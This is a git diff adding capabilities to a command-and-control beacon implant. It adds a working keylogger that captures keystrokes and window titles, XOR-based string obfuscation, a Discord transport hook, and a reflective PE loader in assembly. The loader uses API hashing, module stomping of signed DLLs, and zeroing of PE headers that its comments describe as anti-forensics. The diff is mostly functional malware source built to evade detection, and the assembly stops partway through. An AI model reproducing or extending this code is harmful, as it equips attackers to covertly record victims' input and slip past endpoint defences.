dataLen, unsigned char* key); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h new file mode 100644 index 000000000..e4713ae6d --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h @@ -0,0 +1,3 @@ +#pragma once + +#define DBG(fmt, ...) ((void)0) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp new file mode 100644 index 000000000..4248591ad --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp @@ -0,0 +1,299 @@ +#include "Keylogger.h" +#include "ApiLoader.h" +#include "ProcLoader.h" +#include "ApiDefines.h" +#include "DebugLog.h" +#include "Obfuscate.h" +#include "utils.h" +#include "WaitMask.h" + +// ─── user32 function typedefs ─────────────────────────────────────────────── + +typedef SHORT (WINAPI *fnGetAsyncKeyState)(int vKey); +typedef BOOL (WINAPI *fnGetKeyboardState)(PBYTE lpKeyState); +typedef int (WINAPI *fnToUnicode)(UINT wVirtKey, UINT wScanCode, const BYTE *lpKeyState, + LPWSTR pwszBuff, int cchBuff, UINT wFlags); +typedef UINT (WINAPI *fnMapVirtualKeyW)(UINT uCode, UINT uMapType); +typedef HWND (WINAPI *fnGetForegroundWindow)(void); +typedef int (WINAPI *fnGetWindowTextW)(HWND hWnd, LPWSTR lpString, int nMaxCount); +typedef DWORD (WINAPI *fnGetWindowThreadProcessId)(HWND hWnd, LPDWORD lpdwProcessId); + +struct User32Api { + fnGetAsyncKeyState GetAsyncKeyState; + fnGetKeyboardState GetKeyboardState; + fnToUnicode ToUnicode; + fnMapVirtualKeyW MapVirtualKeyW; + fnGetForegroundWindow GetForegroundWindow; + fnGetWindowTextW GetWindowTextW; + fnGetWindowThreadProcessId GetWindowThreadProcessId; +}; + +// ─── XOR buffer helpers ───────────────────────────────────────────────────── + +#define KEYLOG_BUFFER_SIZE 4096 +#define KEYLOG_FLUSH_THRESH 256 +#define XOR_KEY_LEN 16 +#define TITLE_INTERVAL_MS 30000 + +static void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + +static BOOL FlushBuffer(BYTE* buf, ULONG* pLen, BYTE* xorKey, HANDLE pipeWrite) +{ + if (*pLen == 0) + return TRUE; + + // Decrypt in place + XorBuffer(buf, *pLen, xorKey, XOR_KEY_LEN); + + // Write cleartext to pipe + DWORD written = 0; + BOOL ok = ApiWin->WriteFile(pipeWrite, buf, *pLen, &written, NULL); + + // Zero and reset + memset(buf, 0, *pLen); + *pLen = 0; + + // Rotate XOR key + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + return ok; +} + +static void BufferAppend(BYTE* buf, ULONG* pLen, const BYTE* data, ULONG dataLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + ULONG remaining = dataLen; + const BYTE* src = data; + + while (remaining > 0) { + ULONG space = KEYLOG_BUFFER_SIZE - *pLen; + ULONG chunk = (remaining < space) ? remaining : space; + + // XOR encrypt into buffer + for (ULONG i = 0; i < chunk; i++) { + buf[*pLen + i] = src[i] ^ xorKey[(*pLen + i) % XOR_KEY_LEN]; + } + *pLen += chunk; + src += chunk; + remaining -= chunk; + + // Flush if buffer full or above threshold + if (*pLen >= KEYLOG_FLUSH_THRESH) { + FlushBuffer(buf, pLen, xorKey, pipeWrite); + } + } +} + +static void BufferAppendStr(BYTE* buf, ULONG* pLen, const char* str, + BYTE* xorKey, HANDLE pipeWrite) +{ + BufferAppend(buf, pLen, (const BYTE*)str, StrLenA(str), xorKey, pipeWrite); +} + +// ─── Resolve user32 APIs via PEB walk ─────────────────────────────────────── + +static BOOL ResolveUser32(User32Api* api) +{ + memset(api, 0, sizeof(User32Api)); + + // Try PEB walk first (user32 may already be loaded) + HMODULE hUser32 = GetModuleAddress(HASH_LIB_USER32); + DBG("[keylog] PEB walk user32: %p", hUser32); + + // Fallback: load it + if (!hUser32) { + auto _u32 = OBF("user32.dll"); + hUser32 = ApiWin->LoadLibraryA(_u32); + DBG("[keylog] LoadLibrary user32: %p", hUser32); + } + + if (!hUser32) { + DBG("[keylog] FAIL: user32 not found"); + return FALSE; + } + + api->GetAsyncKeyState = (fnGetAsyncKeyState) GetSymbolAddress(hUser32, HASH_FUNC_GETASYNCKEYSTATE); + api->GetKeyboardState = (fnGetKeyboardState) GetSymbolAddress(hUser32, HASH_FUNC_GETKEYBOARDSTATE); + api->ToUnicode = (fnToUnicode) GetSymbolAddress(hUser32, HASH_FUNC_TOUNICODE); + api->MapVirtualKeyW = (fnMapVirtualKeyW) GetSymbolAddress(hUser32, HASH_FUNC_MAPVIRTUALKEYW); + api->GetForegroundWindow = (fnGetForegroundWindow) GetSymbolAddress(hUser32, HASH_FUNC_GETFOREGROUNDWINDOW); + api->GetWindowTextW = (fnGetWindowTextW) GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTEXTW); + api->GetWindowThreadProcessId = (fnGetWindowThreadProcessId)GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTHREADPROCESSID); + + DBG("[keylog] APIs: AsyncKey=%p KbState=%p ToUni=%p MapVK=%p FgWnd=%p WndTxt=%p", + api->GetAsyncKeyState, api->GetKeyboardState, api->ToUnicode, + api->MapVirtualKeyW, api->GetForegroundWindow, api->GetWindowTextW); + + // Verify critical APIs + if (!api->GetAsyncKeyState || !api->GetKeyboardState || !api->ToUnicode || !api->MapVirtualKeyW) { + DBG("[keylog] FAIL: critical API missing"); + return FALSE; + } + + return TRUE; +} + +// ─── Process individual key press ─────────────────────────────────────────── + +static void ProcessKey(User32Api* api, int vk, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + // Ignore modifier keys + if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT || + vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL || + vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU || + vk == VK_CAPITAL || vk == VK_NUMLOCK || vk == VK_SCROLL) + return; + + // Special keys + switch (vk) { + case VK_RETURN: BufferAppendStr(buf, pLen, "[RET]\n", xorKey, pipeWrite); return; + case VK_BACK: BufferAppendStr(buf, pLen, "[BS]", xorKey, pipeWrite); return; + case VK_TAB: BufferAppendStr(buf, pLen, "[TAB]", xorKey, pipeWrite); return; + case VK_ESCAPE: BufferAppendStr(buf, pLen, "[ESC]", xorKey, pipeWrite); return; + case VK_DELETE: BufferAppendStr(buf, pLen, "[DEL]", xorKey, pipeWrite); return; + case VK_LEFT: BufferAppendStr(buf, pLen, "[<]", xorKey, pipeWrite); return; + case VK_RIGHT: BufferAppendStr(buf, pLen, "[>]", xorKey, pipeWrite); return; + case VK_UP: BufferAppendStr(buf, pLen, "[UP]", xorKey, pipeWrite); return; + case VK_DOWN: BufferAppendStr(buf, pLen, "[DN]", xorKey, pipeWrite); return; + case VK_SPACE: BufferAppendStr(buf, pLen, " ", xorKey, pipeWrite); return; + default: break; + } + + // Printable: use GetKeyboardState + ToUnicode + BYTE kbState[256]; + if (!api->GetKeyboardState(kbState)) + return; + + UINT scanCode = api->MapVirtualKeyW(vk, 0); // MAPVK_VK_TO_VSC + WCHAR unicodeBuf[4] = { 0 }; + int result = api->ToUnicode(vk, scanCode, kbState, unicodeBuf, 4, 0); + + if (result > 0) { + // Convert to UTF-8 + char utf8Buf[16] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, unicodeBuf, result, + utf8Buf, sizeof(utf8Buf) - 1, NULL, NULL); + if (utf8Len > 0) { + BufferAppend(buf, pLen, (BYTE*)utf8Buf, utf8Len, xorKey, pipeWrite); + } + } + // result == 0 or < 0 (dead key): ignore +} + +// ─── Process window title change ──────────────────────────────────────────── + +static void ProcessWindowTitle(User32Api* api, HWND* pLastHwnd, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + if (!api->GetForegroundWindow || !api->GetWindowTextW) + return; + + HWND fg = api->GetForegroundWindow(); + if (!fg || fg == *pLastHwnd) + return; + + *pLastHwnd = fg; + + // Get PID + DWORD pid = 0; + if (api->GetWindowThreadProcessId) + api->GetWindowThreadProcessId(fg, &pid); + + // Get window title (wide) + WCHAR titleW[256] = { 0 }; + int titleLen = api->GetWindowTextW(fg, titleW, 255); + if (titleLen <= 0) + return; + + // Convert to UTF-8 + char titleUtf8[512] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, titleW, titleLen, + titleUtf8, sizeof(titleUtf8) - 1, NULL, NULL); + if (utf8Len <= 0) + return; + + // Format: \n[PID:1234] Window Title\n + char header[600] = { 0 }; + ApiWin->snprintf(header, sizeof(header) - 1, "\n[PID:%lu] ", pid); + BufferAppendStr(buf, pLen, header, xorKey, pipeWrite); + BufferAppend(buf, pLen, (BYTE*)titleUtf8, utf8Len, xorKey, pipeWrite); + BufferAppendStr(buf, pLen, "\n", xorKey, pipeWrite); +} + +// ─── Worker thread entry point ────────────────────────────────────────────── + +DWORD WINAPI KeylogWorker(LPVOID lpParam) +{ + KeylogConfig* cfg = (KeylogConfig*)lpParam; + if (!cfg || !cfg->pipeWrite) { + DBG("[keylog] FAIL: invalid config or pipe"); + return 1; + } + + DBG("[keylog] Worker started, pipe=%p, poll=%lu ms", cfg->pipeWrite, cfg->pollIntervalMs); + + // Resolve user32 APIs + User32Api u32; + if (!ResolveUser32(&u32)) { + DBG("[keylog] FAIL: ResolveUser32 failed"); + memset(&u32, 0, sizeof(u32)); + return 2; + } + + // Allocate encrypted buffer on heap (zeroed) + BYTE* buffer = (BYTE*)MemAllocLocal(KEYLOG_BUFFER_SIZE); + if (!buffer) { + DBG("[keylog] FAIL: buffer alloc failed"); + memset(&u32, 0, sizeof(u32)); + return 3; + } + ULONG bufLen = 0; + DBG("[keylog] Polling loop starting..."); + + // Generate XOR key + BYTE xorKey[XOR_KEY_LEN]; + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + // Window title tracking + HWND lastHwnd = NULL; + ULONG titleCounter = 0; + ULONG titleCheckInterval = TITLE_INTERVAL_MS / (cfg->pollIntervalMs ? cfg->pollIntervalMs : 100); + + // Main polling loop + while (InterlockedCompareExchange(&cfg->active, 1, 1) == 1) { + + // Poll all virtual keys + for (int vk = 0x08; vk <= 0xFE; vk++) { + SHORT state = u32.GetAsyncKeyState(vk); + if (state & 0x0001) { + ProcessKey(&u32, vk, buffer, &bufLen, xorKey, cfg->pipeWrite); + } + } + + // Periodic window title check + titleCounter++; + if (titleCounter >= titleCheckInterval) { + titleCounter = 0; + ProcessWindowTitle(&u32, &lastHwnd, buffer, &bufLen, xorKey, cfg->pipeWrite); + } + + // Jittered sleep + ULONG sleepMs = cfg->pollIntervalMs + (GenerateRandom32() % 50); + mySleep(sleepMs); + } + + // Flush remaining data + FlushBuffer(buffer, &bufLen, xorKey, cfg->pipeWrite); + + // Cleanup: zero sensitive data + memset(xorKey, 0, XOR_KEY_LEN); + memset(&u32, 0, sizeof(u32)); + MemFreeLocal((LPVOID*)&buffer, KEYLOG_BUFFER_SIZE); + + return 0; +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h new file mode 100644 index 000000000..45513a129 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +struct KeylogConfig { + HANDLE pipeWrite; + volatile LONG active; // InterlockedExchange for thread-safe stop + ULONG pollIntervalMs; // base polling interval (default 100ms) +}; + +DWORD WINAPI KeylogWorker(LPVOID lpParam); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp index b98f15199..4f8864077 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp @@ -15,6 +15,8 @@ #include "ConnectorTCP.h" #elif defined(BEACON_DNS) #include "ConnectorDNS.h" +#elif defined(BEACON_DISCORD) +#include "ConnectorDiscord.h" #endif Agent* g_Agent; @@ -30,6 +32,8 @@ static Connector* CreateConnector() return new ConnectorTCP(); #elif defined(BEACON_DNS) return new ConnectorDNS(); +#elif defined(BEACON_DISCORD) + return new ConnectorDiscord(); #endif } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h new file mode 100644 index 000000000..3ed6855c2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h @@ -0,0 +1,35 @@ +#pragma once + +// Compile-time string obfuscation. +// Strings are XOR-encrypted at compile time and decrypted at first access. + +namespace obf { + +template +class String { + mutable char data_[N]; + mutable bool dec_; + +public: + constexpr String(const char (&str)[N]) : data_{}, dec_(false) { + for (unsigned int i = 0; i < N; ++i) + data_[i] = str[i] ^ KEY; + } + + operator const char*() const { + if (!dec_) { + for (unsigned int i = 0; i < N; ++i) + data_[i] ^= KEY; + dec_ = true; + } + return data_; + } +}; + +constexpr char keygen(const char* f, int l) { + return static_cast((f[0] * 7 + l * 13 + 0x5A) & 0xFF) | 1; +} + +} // namespace obf + +#define OBF(str) (obf::String(str)) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp index b671628ac..f6f5d44c0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp @@ -8,7 +8,7 @@ ULONG Djb2A(PUCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= 'A' && c <= 'Z') @@ -23,7 +23,7 @@ ULONG Djb2W(PWCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= L'A' && c <= L'Z') diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp index ff65b7db2..2d0961759 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp @@ -277,6 +277,12 @@ ULONG GenerateRandom32() return seed; } +void GenerateRandomBytes(BYTE* buf, ULONG len) +{ + for (ULONG i = 0; i < len; i++) + buf[i] = (BYTE)(GenerateRandom32() & 0xFF); +} + BYTE GetGmtOffset() { TIME_ZONE_INFORMATION temp; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h index 5e446ab0d..3402e6462 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h @@ -45,6 +45,8 @@ BOOL WriteDataToSocket(SOCKET sock, BYTE* buffer, ULONG bufferSize); ULONG GenerateRandom32(); +void GenerateRandomBytes(BYTE* buf, ULONG len); + BYTE GetGmtOffset(); BOOL IsElevate(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm new file mode 100644 index 000000000..7c614e5ca --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm @@ -0,0 +1,915 @@ +; ============================================================================ +; stub_rdi.x64.asm — Position-independent reflective PE loader (x86-64) +; +; NASM flat binary: nasm -f bin -DDJB2_SEED=... stub_rdi.x64.asm -o stub.x64.bin +; +; Prepended to the beacon DLL at build time. After the XOR decoder stub +; decodes [stub + DLL], execution transfers here. +; +; OPSEC: +; - NtCreateSection(SEC_COMMIT) + NtMapViewOfSection → MEM_MAPPED +; - Per-section NtProtectVirtualMemory → RX / RW / R (never RWX) +; - PE headers zeroed post-load (anti-forensics) +; - No VirtualAlloc / MEM_PRIVATE +; +; Optional: -DMODULE_STOMP → LoadLibraryA a sacrificial DLL and overwrite +; its image, so the beacon runs from MEM_IMAGE backed by a signed file. +; Falls back to SEC_COMMIT if no candidate DLL is large enough. +; +; Compile-time defines (-D): +; DJB2_SEED, HASH_MOD_NTDLL, HASH_MOD_KERNEL32, +; HASH_NTCREATESECTION, HASH_NTMAPVIEWOFSECTION, +; HASH_NTPROTECTVIRTUALMEMORY, HASH_NTCLOSE, +; HASH_LOADLIBRARYA, HASH_GETPROCADDRESS, HASH_FLUSHINSTRUCTIONCACHE +; [MODULE_STOMP only] HASH_FREELIBRARY +; ============================================================================ + +BITS 64 +ORG 0 + +; --------------------------------------------------------------------------- +; PE constants +; --------------------------------------------------------------------------- +%define IMAGE_REL_BASED_DIR64 10 +%define IMAGE_REL_BASED_HIGHLOW 3 + +%define SEC_COMMIT 0x8000000 +%define SECTION_ALL_ACCESS 0xF001F +%define PAGE_EXECUTE_READWRITE 0x40 +%define PAGE_READWRITE 0x04 +%define PAGE_EXECUTE_READ 0x20 +%define PAGE_READONLY 0x02 + +%define DLL_PROCESS_ATTACH 1 + +%define IMAGE_SCN_MEM_EXECUTE 0x20000000 +%define IMAGE_SCN_MEM_WRITE 0x80000000 + +; --------------------------------------------------------------------------- +; Stack frame layout (FRAME_SIZE = 0xD8) +; +; 8 pushes (64 bytes) + return address (8 bytes) = 72 on stack. +; 72 + 0xD8 (216) = 288 = 18 * 16 → RSP 16-byte aligned before CALL. +; +; [rsp+0x00..0x4F] volatile: shadow space (0x20) + stack args for API calls +; [rsp+0x50] LOC_LOADLIB LoadLibraryA address +; [rsp+0x58] LOC_GETPROC GetProcAddress address +; [rsp+0x60] LOC_FLUSHIC FlushInstructionCache address +; [rsp+0x68] LOC_PE_SRC source PE base +; [rsp+0x70] LOC_NT_HDR NT_HEADERS pointer (source) +; [rsp+0x78] LOC_IMAGE_SIZE SizeOfImage +; [rsp+0x80] LOC_SECTION_HDL section handle +; [rsp+0x88] LOC_IMAGE_BASE mapped base +; [rsp+0x90] LOC_VIEW_SIZE view size / LARGE_INTEGER +; [rsp+0x98] LOC_TEMP_ADDR temp: NtProtect &BaseAddress +; [rsp+0xA0] LOC_TEMP_SIZE temp: NtProtect &RegionSize +; [rsp+0xA8] LOC_OLD_PROT temp: NtProtect &OldProtect +; [rsp+0xB0] LOC_SAVE1 general purpose save slot +; [rsp+0xB8] LOC_SAVE2 general purpose save slot +; [rsp+0xC0] LOC_SAVE3 general purpose save slot +; [rsp+0xC8] LOC_SAVE4 general purpose save slot +; --------------------------------------------------------------------------- +%define FRAME_SIZE 0xD8 + +%define LOC_LOADLIB 0x50 +%define LOC_GETPROC 0x58 +%define LOC_FLUSHIC 0x60 +%define LOC_PE_SRC 0x68 +%define LOC_NT_HDR 0x70 +%define LOC_IMAGE_SIZE 0x78 +%define LOC_SECTION_HDL 0x80 +%define LOC_IMAGE_BASE 0x88 +%define LOC_VIEW_SIZE 0x90 +%define LOC_TEMP_ADDR 0x98 +%define LOC_TEMP_SIZE 0xA0 +%define LOC_OLD_PROT 0xA8 +%define LOC_SAVE1 0xB0 +%define LOC_SAVE2 0xB8 +%define LOC_SAVE3 0xC0 +%define LOC_SAVE4 0xC8 + +; ============================================================================ +; PHASE 1 — Prologue +; ============================================================================ +_start: + push rsi + push rdi + push rbp + push rbx + push r12 + push r13 + push r14 + push r15 + sub rsp, FRAME_SIZE + cld ; ensure forward direction for rep movsb + +; ============================================================================ +; PHASE 2 — Self-locate: compute DLL base from _stub_end label +; ============================================================================ + call _delta +_delta: + pop rax + lea rbx, [rax + (_stub_end - _delta)] + +; ============================================================================ +; PHASE 3 — Validate MZ + PE signatures +; ============================================================================ + cmp word [rbx], 0x5A4D + jne _exit + + movsxd rax, dword [rbx + 0x3C] + lea rbp, [rbx + rax] + + cmp dword [rbp], 0x00004550 + jne _exit + mov [rsp + LOC_PE_SRC], rbx + mov [rsp + LOC_NT_HDR], rbp + mov eax, dword [rbp + 0x50] + mov [rsp + LOC_IMAGE_SIZE], rax + +; ============================================================================ +; PHASE 4 — PEB walk: resolve ntdll.dll and kernel32.dll bases +; ============================================================================ + mov ecx, HASH_MOD_NTDLL + call _find_module + test rax, rax + jz _exit + mov r12, rax + + mov ecx, HASH_MOD_KERNEL32 + call _find_module + test rax, rax + jz _exit + mov r13, rax + +; ============================================================================ +; PHASE 5 — EAT walk: resolve 7 APIs by hash +; Module bases saved to SAVE1/SAVE2 so _find_export can clobber regs freely. +; ============================================================================ + mov [rsp + LOC_SAVE1], r12 ; ntdll base + mov [rsp + LOC_SAVE2], r13 ; kernel32 base + + mov rcx, r12 + mov edx, HASH_NTCREATESECTION + call _find_export + test rax, rax + jz _exit + mov r12, rax ; r12 = NtCreateSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTMAPVIEWOFSECTION + call _find_export + test rax, rax + jz _exit + mov r13, rax ; r13 = NtMapViewOfSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTPROTECTVIRTUALMEMORY + call _find_export + test rax, rax + jz _exit + mov r14, rax ; r14 = NtProtectVirtualMemory + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTCLOSE + call _find_export + test rax, rax + jz _exit + mov r15, rax ; r15 = NtClose + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_LOADLIBRARYA + call _find_export + mov [rsp + LOC_LOADLIB], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_GETPROCADDRESS + call _find_export + mov [rsp + LOC_GETPROC], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_FLUSHINSTRUCTIONCACHE + call _find_export + mov [rsp + LOC_FLUSHIC], rax + +%ifdef MODULE_STOMP + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_FREELIBRARY + call _find_export + mov [rsp + LOC_SECTION_HDL], rax ; repurpose as FreeLibrary addr + + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_LOADLIBRARYEXA + call _find_export + mov [rsp + LOC_VIEW_SIZE], rax ; repurpose as LoadLibraryExA addr +%endif + + cmp qword [rsp + LOC_LOADLIB], 0 + je _exit + cmp qword [rsp + LOC_GETPROC], 0 + je _exit + cmp qword [rsp + LOC_FLUSHIC], 0 + je _exit + +%ifdef MODULE_STOMP + ; If stomp APIs missing, skip stomp but still try SEC_COMMIT fallback + cmp qword [rsp + LOC_SECTION_HDL], 0 + je .stomp_fallback + cmp qword [rsp + LOC_VIEW_SIZE], 0 + je .stomp_fallback +%endif + + mov rbx, [rsp + LOC_PE_SRC] + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 6/7 — Module Stomp (if MODULE_STOMP) or SEC_COMMIT fallback +; +; Module stomping: LoadLibraryA a sacrificial signed DLL, check if its +; SizeOfImage >= beacon's SizeOfImage, make it writable, then overwrite +; it with the beacon PE. The beacon runs from MEM_IMAGE backed by a +; real file on disk. If no candidate fits, fall through to SEC_COMMIT. +; ============================================================================ + +%ifdef MODULE_STOMP + ; ---- RIP-relative address of _stomp_paths data ---- + call .get_stomp_addr +.get_stomp_addr: + pop rax + lea rsi, [rax + (_stomp_paths - .get_stomp_addr)] + +.stomp_try_next: + ; End sentinel: double-null → all candidates exhausted, fall through + cmp byte [rsi], 0 + je .stomp_fallback + + ; Save rsi (path pointer) across LoadLibraryExA call + mov [rsp + LOC_SAVE3], rsi + + ; LoadLibraryExA(path, NULL, DONT_RESOLVE_DLL_REFERENCES=1) + ; Maps DLL as MEM_IMAGE but does NOT run DllMain, no imports resolved + mov rcx, rsi + xor rdx, rdx ; hFile = NULL + mov r8d, 1 ; DONT_RESOLVE_DLL_REFERENCES + call qword [rsp + LOC_VIEW_SIZE] ; LoadLibraryExA + + ; Restore rsi + mov rsi, [rsp + LOC_SAVE3] + + ; If LoadLibraryExA failed → skip to next path + test rax, rax + jz .stomp_advance + + ; Save hModule + mov [rsp + LOC_SAVE4], rax + + ; Validate MZ signature — if corrupted (DLL already stomped by + ; another packer), skip it and try the next candidate. + cmp word [rax], 0x5A4D + jne .stomp_free_advance + + ; Validate e_lfanew is reasonable (< 0x400) + movsxd rcx, dword [rax + 0x3C] + cmp ecx, 0x400 + ja .stomp_free_advance + + ; Validate PE signature + cmp dword [rax + rcx], 0x00004550 + jne .stomp_free_advance + + ; Read SizeOfImage from NT_HEADERS + mov ecx, dword [rax + rcx + 0x50] + + ; Compare with beacon's required SizeOfImage + cmp rcx, [rsp + LOC_IMAGE_SIZE] + jb .stomp_free_advance ; too small + + ; Anti double-stomp: check if OUR code runs from this DLL. + ; If another packer (BalezeKit) stomped this DLL with our shellcode, + ; LoadLibraryExA returns the same handle. Zeroing it would destroy + ; our own currently-executing code → crash. + call .get_self_rip +.get_self_rip: + pop rdx ; rdx = our current address + mov rax, [rsp + LOC_SAVE4] ; hModule = DLL base + cmp rdx, rax + jb .stomp_found ; RIP < base → not in this DLL + lea rax, [rax + rcx] ; rax = base + SizeOfImage + cmp rdx, rax + jae .stomp_found ; RIP >= end → not in this DLL + jmp .stomp_free_advance ; we're INSIDE this DLL → skip + +.stomp_free_advance: + ; DLL invalid or too small → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + jmp .stomp_advance + +.stomp_found: + ; ---- Suitable DLL found — make entire image writable ---- + ; NtProtectVirtualMemory on MEM_IMAGE changes only ONE region per call + ; (each PE section is a separate region). Must loop until entire + ; SizeOfImage is covered. + mov rax, [rsp + LOC_SAVE4] ; hModule = base + mov [rsp + LOC_IMAGE_BASE], rax + + ; LOC_TEMP_ADDR = current address, LOC_SAVE3 = remaining bytes + mov [rsp + LOC_TEMP_ADDR], rax + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_SAVE3], rax ; remaining = SizeOfImage + +.stomp_protect_loop: + cmp qword [rsp + LOC_SAVE3], 0 + jle .stomp_protect_done + + ; NtProtectVirtualMemory: changes one region, updates TEMP_ADDR/TEMP_SIZE + mov rax, [rsp + LOC_SAVE3] + mov [rsp + LOC_TEMP_SIZE], rax ; request remaining size + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READWRITE ; RWX (not just RW — needed to add X later) + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + test eax, eax + js .stomp_protect_fail + + ; Advance: next_addr = TEMP_ADDR + TEMP_SIZE (region actually changed) + mov rax, [rsp + LOC_TEMP_ADDR] + add rax, [rsp + LOC_TEMP_SIZE] + mov [rsp + LOC_TEMP_ADDR], rax + + ; remaining = (hModule + IMAGE_SIZE) - next_addr + mov rcx, [rsp + LOC_SAVE4] + add rcx, [rsp + LOC_IMAGE_SIZE] + sub rcx, rax + mov [rsp + LOC_SAVE3], rcx + jmp .stomp_protect_loop + +.stomp_protect_done: + ; Success — zero entire target area before copying. + ; The stomped DLL's residual content would corrupt .bss + ; (uninitialized globals must be zero). SEC_COMMIT pages + ; are already zeroed by the kernel, but stomped DLL is not. + push rdi + push rcx + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rsp + 16 + LOC_IMAGE_SIZE] + xor eax, eax + rep stosb + pop rcx + pop rdi + + ; Clear LOC_SECTION_HDL so Phase 13 skips NtClose + mov qword [rsp + LOC_SECTION_HDL], 0 + jmp .phase8_copy_headers + +.stomp_protect_fail: + ; NtProtectVirtualMemory failed → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + ; Restore rsi from LOC_SAVE3 (still valid) + mov rsi, [rsp + LOC_SAVE3] + +.stomp_advance: + ; Skip current path string past its null terminator +.stomp_skip: + cmp byte [rsi], 0 + je .stomp_skip_done + inc rsi + jmp .stomp_skip +.stomp_skip_done: + inc rsi ; skip the null byte itself + jmp .stomp_try_next + +.stomp_fallback: +%endif ; MODULE_STOMP + +; ============================================================================ +; PHASE 6 — NtCreateSection(SEC_COMMIT) [fallback when MODULE_STOMP fails, +; or the only path when MODULE_STOMP is not defined] +; 7 args: 4 reg + 3 stack +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + lea rcx, [rsp + LOC_SECTION_HDL] + mov edx, SECTION_ALL_ACCESS + xor r8, r8 + lea r9, [rsp + LOC_VIEW_SIZE] + mov qword [rsp + 0x20], PAGE_EXECUTE_READWRITE + mov qword [rsp + 0x28], SEC_COMMIT + mov qword [rsp + 0x30], 0 + call r12 + test eax, eax + js _exit + +; ============================================================================ +; PHASE 7 — NtMapViewOfSection +; 10 args: 4 reg + 6 stack +; ============================================================================ + mov qword [rsp + LOC_IMAGE_BASE], 0 + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + mov rcx, [rsp + LOC_SECTION_HDL] + mov rdx, -1 + lea r8, [rsp + LOC_IMAGE_BASE] + xor r9, r9 + 